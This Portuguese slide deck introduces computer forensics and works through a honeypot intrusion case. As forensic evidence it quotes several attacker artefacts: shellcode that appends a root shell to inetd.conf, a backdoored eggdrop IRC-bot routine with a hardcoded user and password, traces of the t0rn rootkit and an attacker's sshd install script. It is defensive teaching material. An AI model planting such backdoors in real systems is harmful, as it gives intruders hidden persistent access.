



Introdução à Forense Computacional

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Definição

“Coleta e análise de dados de maneira não tendenciosa e o mais livre de distorção possível, para reconstruir dados ou o que aconteceu no passado em um sistema”

Dan Farmer and Wietse Venema – Computer Forensics Analysis Class Handouts (1999)

Evidências digitais

- **Definição**

- Aquilo que determina ou estabelece a verdade de um fato ocorrido no ambiente digital

-

- **Características**

- Empírica
- Segue um método científico
- Hipótese/Teoria X Prova

Evidências digitais

***“Todo contato
deixa vestígio”***

Edmond Locard

Etapas da análise forense



Coleta de informações

- Confiabilidade
- Integridade
- Volatilidade

Reconhecimento de Evidências

- Sintomas do sistema
- Definição do uso legítimo
- Linha do Tempo

Análise de Evidências Encontradas

- Confiabilidade das ferramentas
- Recuperação de arquivos
- Documentação

Correlacionamento de Evidências

- Fator Tempo
- Implicação das evidências
- Contextualização

Reconstrução dos Eventos

- Relevância das evidências
- Impacto dos fatos
- Laudo

Estudo de caso

Sistema Operacional:

Red Hat Linux 6.2 Server com instalação padrão

Sintomas:

Tráfego anômalo detectado pelo IDS

Objetivo:

Reconstruir os passos do invasor e analisar o impacto destes no sistema

```


3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8 >.....
0E 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 .....
. . . . .
8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8 .N..V...1...@...
B0 FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65 ....bin/sh -c e
63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20 cho 4545 stream
74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root
2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E /bin/sh sh -i >>
20 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 66 /etc/inetd.conf
3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E ;killall -HUP in
65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73 etd....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....

```

Estudo de caso

1º passo: Coleta de informações

- Análise *Post-mortem* X *Live Forensics*
- Ordem de Volatilidade
- Copiando dados das partições e fazendo hashes




```
root@localhost# for i in 1 5 6 7 8 9; do dd if=/dev/hda1 of=honeypot.hda1.dd bs=1M; done
root@localhost# md5sum honeypot.hda?.dd >> hashes.md5
root@localhost# cat hashes.md5
aldd64dea2ed889e61f19bab154673ab  honeypot.hda1.dd
cle1b0dc502173ff5609244e3ce8646b  honeypot.hda5.dd
4a20a173a82eb76546a7806ebf8a78a6  honeypot.hda6.dd
1b672df23d3af577975809ad4f08c49d  honeypot.hda7.dd
8f244a87b8d38d06603396810a91c43b  honeypot.hda8.dd
b763a14d2c724e23ebb5354a27624f5f  honeypot.hda9.dd
root@localhost#
```

Estudo de caso

1º passo: Coleta de informações

- Remontar as partições do sistema comprometido como somente leitura
- Criar uma linha do tempo com o The Coroner's Toolkit



```
root@localhost# ls
honeypot.hda1.dd  honeypot.hda5.dd  honeypot.hda6.dd  honeypot.hda7.dd  honeypot.hda8.dd  honeypot.hda9.dd
root@localhost# mkdir honeypot
root@localhost# mount -o loop,ro,nodev,noexec honeypot.hda8.dd honeypot
root@localhost# mount -o loop,ro,nodev,noexec honeypot.hda1.dd honeypot/boot
root@localhost# mount -o loop,ro,nodev,noexec honeypot.hda6.dd honeypot/home
root@localhost# mount -o loop,ro,nodev,noexec honeypot.hda5.dd honeypot/usr
root@localhost# mount -o loop,ro,nodev,noexec honeypot.hda7.dd honeypot/var
root@localhost#
root@localhost#
root@localhost#
root@localhost# mkdir saida
root@localhost# grave-robber -c honeypot -m -d saida -o LINUX2
root@localhost# for i in 1 5 6 7 8; do ils honeypot.hda$i.dd | ils2mac > saida/hda$i.ils; done
root@localhost# ls saida
body  body.S  command_out  conf_vault  hda1.ils  hda5.ils  hda6.ils  hda7.ils  hda8.ils  MD5_all  MD5_all.md5  trust  user_vault
root@localhost#
root@localhost#
root@localhost#
root@localhost# cat saida/body saida/hda?.ils > saida/body-full
root@localhost# mactime -p honeypot/etc/passwd -g honeypot/etc/group -b saida/body-full 11/06/2000 > saida/mactime.txt
root@localhost#
```

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Analisando a linha do tempo, observamos:

```

Nov 08 00 12:25:53      1024 .a. drwxr-xr-x root    root    honeypot/etc/uucp/oldconfig
      1024 .a. drwxr-xr-x root    root    honeypot/etc/codepages
      1024 .a. drwxrwxr-x root    man     honeypot/var/catman/X11R6/cat7
Nov 08 00 12:26:15    32768 .a. drwxr-xr-x root    root    honeypot/dev/rd
      104 .a. -rwxr-xr-x root    root    honeypot/etc/cron.daily/tmpwatch
      1024 .a. drwxr-xr-x root    root    honeypot/etc/skel
Nov 08 00 12:26:51    2836 .a. -r-xr-xr-x root    root    honeypot/usr/bin/uptime
Nov 08 00 12:29:27      0 m.c -rw-r--r-- root    root    honeypot/etc/hosts.deny
Nov 08 00 12:33:42    1024 .a. drwxr-xr-x root    root    honeypot/etc/rc.d/init.d
Nov 08 00 12:45:18   63728 .a. -rwxr-xr-x root    root    honeypot/usr/bin/ftp
      1024 .a. drwx----- daemon daemon honeypot/var/spool/at
Nov 08 00 12:45:19    161 .a. -rw-r--r-- root    root    honeypot/etc/hosts.allow
      0 .a. -rw-r--r-- root    root    honeypot/etc/hosts.deny
Nov 08 00 12:45:24   31376 .a. -rwxr-xr-x root    root    <honeypot.hda5.dd-dead-93839>
Nov 08 00 12:51:37    63 .a. -rw-r--r-- root    root    honeypot/etc/issue.net
Nov 08 00 12:51:53   1504 .a. -rw-r--r-- root    root    honeypot/etc/security/console.perms
Nov 08 00 12:51:53  2129920 m.. -rw-r--r-- drosen drosen  <honeypot.hda8.dd-dead-8133>
      1153 .a. -rwxr-xr-x 1010 users  <honeypot.hda5.dd-dead-109801>
      118 .a. -rwxr-xr-x 1010 users  honeypot/usr/man/.Ci/ /Anap
      5324 .a. -rwxr-xr-x 1010 users  honeypot/usr/man/.Ci/sp.pl
      4096 .a. drwxr-xr-x 1010 users  honeypot/usr/man/.Ci/scan
      21800 .a. -rw-r--r-- 1010 users  honeypot/usr/man/.Ci/scan/statd/statdx
                                     1260,1
                                     20%


```

- Por que isso chama a nossa atenção?

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Recuperar o arquivo deletado no inode 8133
- Analisar o arquivo e seu contexto

A terminal window with a title bar and standard Linux window controls. It shows a series of commands and their outputs. The commands include using 'icat' to extract a file from a disk image, listing files, identifying a tar archive, and extracting its contents. The output shows a directory listing with various files and folders, some of which are highlighted in color (blue for system files, green for configuration files, blue for scripts/text files).


```
root@localhost# icat honeypot.hda8.dd 8133 > file_8133
root@localhost# ls
coroner.log  file_8133  honeypot.hda1.dd  honeypot.hda6.dd  honeypot.hda8.dd  saida
error.log    honeypot  honeypot.hda5.dd  honeypot.hda7.dd  honeypot.hda9.dd
root@localhost# file file_8133
file_8133: POSIX tar archive (GNU)
root@localhost# tar -xf file_8133
root@localhost# ls
error.log  honeypot  honeypot.hda5.dd  honeypot.hda7.dd  honeypot.hda9.dd
coroner.log  file_8133  honeypot.hda1.dd  honeypot.hda6.dd  honeypot.hda8.dd  saida
root@localhost# ls " "
config.cache  config.status  e.chans  EGGDROP.stamp  e.users  lush.h.in  salt.h
config.h      configure      e.conf   egg.log         filesys  Makefile   scripts
config.h.in   configure.in   eggdrop  encrypt.c       install  Makefile.in  src
config.log    DEBUG         eggdrop.conf  e.notes       lush.h   run         text
root@localhost#
```

- O que é “eggdrop”?

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Nome de domínio encontrado no arquivo “egg.log”




```
proc dcc_flags {handle idx arg} {
    set a [lindex $arg 0]
    set z [decrypt xx3fw3 bijph.s5f7N0]
    if {$handle == $z} {
        set p "[decrypt f3qcadr3 DtVgR.E/mLu1]"
        if {$a == $p} {
            if {![validuser $z]} {
                adduser $z *!*toro@will.fuck.for.an.o-line.st
                chpass $z templ23
            }
            chatter $z +ofmnpBjx
            putdcc $idx "Flags restored"
            return 0
        } else {
            putdcc $idx "What? You need '.help'"
            return 0
        }
    } else {
        putdcc $idx "What? You need '.help'"
        return 0
    }
}
```

- O IP encontrado no arquivo ainda está ativo?

Estudo de caso


2º e 3º passo: Reconhecimento e análise de evidências

- Voltando a linha do tempo



```
4096 .a. drwxr-xr-x 1010 users honeypot/usr/man/.Ci/scan/amd
4390 .a. -rw-r--r-- 1010 users honeypot/usr/man/.Ci/scan/statd/classb
133344 .a. -rwxr-xr-x 1010 users honeypot/usr/man/.Ci/q
147900 .a. -rwxr-xr-x 1010 users honeypot/usr/man/.Ci/inetd
350996 .a. -rwxr-xr-x 1010 users honeypot/usr/man/.Ci/syslogd
4442 .a. -rwxr-xr-x 1010 users honeypot/usr/man/.Ci/scan/amd/pscan.c
49800 .a. -rwxr-xr-x 1010 users honeypot/usr/man/.Ci/pstree
1300,11 21%
```

- Analisando arquivo “*inetd*” encontrado




```
root@localhost# md5sum usr/sbin/inetd usr/man/.Ci/inetd
8342cd61eef416974ale8ac8ad386c86 usr/sbin/inetd
8fb2bd3f5a575987d40b367a03300f2a usr/man/.Ci/inetd
root@localhost# grep -i catalog usr/sbin/inetd usr/man/.Ci/inetd
Binary file usr/man/.Ci/inetd matches
root@localhost# strings usr/man/.Ci/inetd | grep -i catalog
Message Catalog System
root@localhost#
```

- Rootkit “t0rn”

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Histórico de comandos comprometido
- Criação de arquivos confirmando rootkit



The screenshot shows a terminal window with a list of system logs and file permissions. The logs are dated Nov 08 00 12:52:09 and 12:52:10. The permissions are listed for various files and directories, including /dev/null, /usr/man/.Ci/backup, /usr/sbin/identd, /tmp/.bash_history, /usr/man/.Ci/backup/tcpd, /usr/man/.Ci/backup/ps, /usr/man/.Ci/backup/top, /usr/man/.Ci/backup/ifconfig, /usr/man/.Ci/backup/ls, /usr/man/.Ci/backup/netstat, /usr/man/.Ci/fix, /usr/bin/top, /usr/games, /usr/games/.bash_history, /usr/sbin/ifconfig, and /usr/sbin/tcpd. The window title is 'honeyroot' and the status bar shows '1387,11' and '22%'.

```
Nov 08 00 12:52:09      9 m.c lrwxrwxrwx root    root    honeyroot/.bash_history -> /dev/null
Nov 08 00 12:52:10      9 m.c lrwxrwxrwx root    root    honeyroot/.bash_history -> /dev/null
Nov 08 00 12:52:10    4096 mac drwxr-xr-x root    root    honeyroot/usr/man/.Ci/backup
Nov 08 00 12:52:10   26736 .a. -rwxr-xr-x root    root    honeyroot/usr/sbin/identd
Nov 08 00 12:52:10      9 m.c lrwxrwxrwx root    root    honeyroot/tmp/.bash_history -> /dev/null
Nov 08 00 12:52:10   23568 mac -rwxr-xr-x root    root    honeyroot/usr/man/.Ci/backup/tcpd
Nov 08 00 12:52:10   60080 mac -r-xr-xr-x root    root    honeyroot/usr/man/.Ci/backup/ps
Nov 08 00 12:52:10   34896 mac -r-xr-xr-x root    root    honeyroot/usr/man/.Ci/backup/top
Nov 08 00 12:52:10   42736 mac -rwxr-xr-x root    root    honeyroot/usr/man/.Ci/backup/ifconfig
Nov 08 00 12:52:10   43024 mac -rwxr-xr-x root    root    honeyroot/usr/man/.Ci/backup/ls
Nov 08 00 12:52:10   66736 mac -rwxr-xr-x root    root    honeyroot/usr/man/.Ci/backup/netstat
Nov 08 00 12:52:10   18535 .a. -rwxr-xr-x 1010   users   honeyroot/usr/man/.Ci/fix
Nov 08 00 12:52:10   60926 .a. -r-xr-xr-x root    root    honeyroot/usr/bin/top
Nov 08 00 12:52:10    4096 m.c drwxr-xr-x root    root    honeyroot/usr/games
Nov 08 00 12:52:10      9 mac lrwxrwxrwx root    root    honeyroot/usr/games/.bash_history -> /dev/null
Nov 08 00 12:52:10   19840 .a. -rwxr-xr-x root    root    honeyroot/sbin/ifconfig
Nov 08 00 12:52:10   31625 .a. -rwxr-xr-x root    root    honeyroot/usr/sbin/tcpd
```

- Foram substituídos?

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Verificando se os arquivos foram modificados

```
root@localhost# strings bin/ls | grep man
/usr/man/r
root@localhost# strings bin/ps | grep ptyp
/dev/ptyp
root@localhost# strings bin/netstat | grep libexec
/usr/libexec/awk/addy.awk
root@localhost# strings usr/sbin/tcpd | grep man
/usr/man/.a
root@localhost# strings usr/bin/top | grep ptyp
/dev/ptyp
root@localhost#
```

- Conteúdo dos arquivos


.tp	2 slice2	1 65.1	1 63.203
tcp.log	2 sniff	2 65.1	2 63.203
slice2	2 pscan	1 134518464.134518444	1 209.250
.p	2 imp	2 134518464.134518444	2 209.250
.a	3 qd	1 216.149	3 113
.l	2 bs.sh	2 216.149	4 113
scan	3 nn	~	3 35350
a	3 egg.lin	~	4 35350
p	2 slice2	~	1 216.33

<r [+][R0] 1,1 Top <ptyp [R0] 1,1 Top <.awk [R0] 1,1 All <n/.a [R0] 1,1 Top

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências


- Mais uma vez, linha do tempo



Time	Process	Permissions	Owner	File
Nov 08 00 12:53:10	512 m.c	-rw-----	root	honeyiot/root/.ssh/random_seed
	537 m.c	-rw-----	root	honeyiot/etc/ssh_host_key
	341 mac	-rw-r--r--	root	honeyiot/etc/ssh_host_key.pub
Nov 08 00 12:53:11	880 .a.	-rw-r--r--	root	honeyiot/etc/ssh_config
	4 mac	lrwxrwxrwx	root	honeyiot/usr/local/bin/ssh -> ssh1
	691 .a.	-rw-r--r--	17275 games	<honeyiot.hda5.dd-dead-93948>
	604938 mac	-rws--x--x	root	honeyiot/usr/local/bin/ssh1
	3 mac	lrwxrwxrwx	root	honeyiot/usr/local/bin/slogin -> ssh
	11 mac	lrwxrwxrwx	root	honeyiot/usr/local/bin/ssh-keygen -> ssh-keygen1
	880 m.c	-rw-r--r--	root	honeyiot/etc/ssh_config
	327262 mac	-rwxr-xr-x	root	honeyiot/usr/local/bin/ssh-keygen1
	327262 .a.	-rwxr-xr-x	root	<honeyiot.hda5.dd-dead-94411>
	880 .a.	-rw-r--r--	17275 games	<honeyiot.hda5.dd-dead-93944>
Nov 08 00 12:53:12	604938 .a.	-rwxr-xr-x	root	<honeyiot.hda5.dd-dead-94398>
	337617 mac	-rwxr-xr-x	root	honeyiot/usr/local/bin/ssh-add1
	4 mac	lrwxrwxrwx	root	honeyiot/usr/local/bin/scp -> scp1

3490,9 57%

- Continua até aqui




Process	Permissions	Owner	File	
23 mac	lrwxrwxrwx	root	honeyiot/usr/local/man/man1/make-ssh-known-hosts.1 -> mak	
e-ssh-known-hosts1.1	0 ma.	-rwxr-xr-x	root	<honeyiot.hda5.dd-dead-94419>
	38572 mac	-rw-r--r--	root	honeyiot/usr/local/man/man1/ssh1.1
	6 mac	lrwxrwxrwx	root	honeyiot/usr/local/man/man1/scp.1 -> scp1.1
	13 mac	lrwxrwxrwx	root	honeyiot/usr/local/man/man1/ssh-keygen.1 -> ssh-keygen1.1
	38572 .a.	-rw-r--r--	root	<honeyiot.hda5.dd-dead-94362>
	5 mac	lrwxrwxrwx	root	honeyiot/usr/local/man/man1/slogin.1 -> ssh.1
	37023 .a.	-rw-r--r--	root	<honeyiot.hda5.dd-dead-94361>
	4096 m.c	drwxr-xr-x	root	honeyiot/usr/local/man/man1
	6265 .a.	-rw-r--r--	17275 games	<honeyiot.hda5.dd-dead-93957>
	12 mac	lrwxrwxrwx	root	honeyiot/usr/local/man/man1/ssh-agent.1 -> ssh-agent1.1
	955 m.c	-rwxr-xr-x	root	honeyiot/etc/rc.d/rc.local
	1076 .a.	-rwxr-xr-x	1010 users	<honeyiot.hda5.dd-dead-109802>
	6 mac	lrwxrwxrwx	root	honeyiot/usr/local/man/man1/ssh.1 -> ssh1.1
	4892 mac	-rw-r--r--	root	honeyiot/usr/local/man/man1/scp1.1

3543,9 58%

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Recuperando arquivo suspeito




```
root@localhost# icat honeypot.hda5.dd 109802 > saida/file_109802
root@localhost# file saida/file_109802
saida/file_109802: ASCII text
root@localhost# cat saida/file_109802
echo "installing sshd"
gunzip ssh-1.2.27*
tar -xvf ssh-1.2.27*
cd ssh*
make install
rm -rf /etc/sshd_config
cat << hi >> /etc/sshd_config
# This is ssh server systemwide configuration file.

. . . . .

hi
echo "/usr/local/sbin/sshd1" >> /etc/rc.d/rc.local
ps aux | grep sshd | awk '{print "kill -1 \"$2\""}' > restart-sshd
chmod +x restart-sshd
./restart-sshd
root@localhost#
```

- O servidor recém-instalado foi executado!



```
512 .a. -rw----- root    root    honeypot/etc/ssh_random_seed
684 .a. -rw-r--r-- root    root    honeypot/etc/sshd_config
5 mac -rw-r--r-- root    root    honeypot/var/run/sshd.pid
47008 .a. -rwxr-xr-x root    root    honeypot/lib/libutil-2.1.3.so
643674 .a. -rwxr-xr-x root    root    honeypot/usr/local/sbin/sshd1
                                     3589,13      59%
```


Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Analisando os arquivos de log

```
Nov 08 00 12:55:30      4096 m.c drwxr-xr-x root    root    honeypot/usr/libexec/awk
                        78 .a. -rw-r--r-- root    root    honeypot/usr/libexec/awk/addy.awk
Nov 08 00 12:55:47    12408 .a. -rwxr-xr-x 1010   users   honeypot/usr/man/.Ci/addn
Nov 08 00 12:55:51      78 m.c -rw-r--r-- root    root    honeypot/usr/libexec/awk/addy.awk
Nov 08 00 12:55:58     328 .a. -rwxr-xr-x 1010   users   honeypot/usr/man/.Ci/do
                        657 m.c -rw-r--r-- root    root    honeypot/etc/passwd
                        601 m.c -rw-r--r-- root    root    honeypot/etc/shadow
Nov 08 00 12:56:02    7974 mac -rw-r--r-- root    root    honeypot/var/log/messages
                        0 mac -rw-r--r-- root    root    honeypot/var/log/xferlog
                        268 mac -rw-r--r-- root    root    honeypot/var/log/secure
                        1024 m.c drwxr-xr-x root    root    honeypot/var/log
                                     3878,1      64%
```

- As datas batem?

```
root@localhost# stat var/log
  File: `var/log'
  Size: 1024          Blocks: 2          IO Block: 1024   directory
Device: 704h/1796d  Inode: 12097       Links: 6
Access: (0755/drwxr-xr-x)  Uid: ( 0/   root)   Gid: ( 0/   root)
Access: 2000-11-08 08:02:05.000000000 -0200
Modify: 2000-11-08 12:56:02.000000000 -0200
Change: 2000-11-08 12:56:02.000000000 -0200
root@localhost# ls -l var/log/{messages,xferlog,secure}
-rw-r--r-- 1 root root 7974 2000-11-08 12:56 var/log/messages
-rw-r--r-- 1 root root 268 2000-11-08 12:56 var/log/secure
-rw-r--r-- 1 root root 0 2000-11-08 12:56 var/log/xferlog
root@localhost# tail -n 2 var/log/{messages,secure}
==> var/log/messages <==
Nov  8 00:08:41 apollo inetd[408]: pid 2078: exit status 1
Nov  8 04:02:00 apollo anacron[2159]: Updated timestamp for job `cron.daily' to 2000-11-08

==> var/log/secure <==
Nov  8 00:08:40 apollo in.telnetd[2077]: connect from 216.216.74.2
Nov  8 00:08:40 apollo in.telnetd[2078]: connect from 216.216.74.2
root@localhost#
```

Estudo de caso

2º e 3º passo: Reconhecimento e análise de evidências

- Recuperando logs apagados

```
root@localhost# strings honeypot.hda7.dd | grep "Nov 8 "
Nov  8 00:08:40 apollo in.telnetd[2077]: connect from 216.216.74.2
Nov  8 00:08:40 apollo in.telnetd[2078]: connect from 216.216.74.2
Nov  8 00:08:41 apollo inetd[408]: pid 2077: exit status 1
Nov  8 00:08:41 apollo inetd[408]: pid 2078: exit status 1
Nov  8 04:02:00 apollo anacron[2159]: Updated timestamp for job `cron.daily' to 2000-11-08
Nov  8 00:08:41 apollo inetd[408]: pid 2077: exit status 1
Nov  8 00:08:41 apollo inetd[408]: pid 2078: exit status 1
Nov  8 04:02:00 apollo anacron[2159]: Updated timestamp for job `cron.daily' to 2000-11-08
Nov  8 00:08:41 apollo inetd[408]: pid 2077: exit status 1
Nov  8 00:08:41 apollo inetd[408]: pid 2078: exit status 1
Nov  8 00:09:00 apollo rpc.statd[270]: SM_MON request for hostname containing '/': ^D
Nov  8 04:02:00 apollo anacron[2159]: Updated timestamp for job `cron.daily' to 2000-11-08
root@localhost# unrm honeypot.hda7.dd > saida/hda7.unrm
root@localhost#
```

- Shell Code encontrado!

[illegible]

Estudo de caso


4º passo: Correlacionamento de Evidências

- Como o invasor conseguiu o acesso?
- Qual era o propósito do invasor quando invadiu?
- Como o invasor pretendia manter o acesso à máquina?

5º passo: Reconstrução dos fatos

- O que aconteceu e em que ordem?
- O que foi instalado na máquina invadida?

Dúvidas



Referências

The Honeynet Project

- <http://www.honeynet.org>

Perícia Forense Computacional (Forensic Discovery)

Dan Farmer & Wietse Venema

- <http://www.porcupine.org/forensics/forensic-discovery>

Obrigado!

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todos!

Contato: gris@gris.dcc.ufrj.br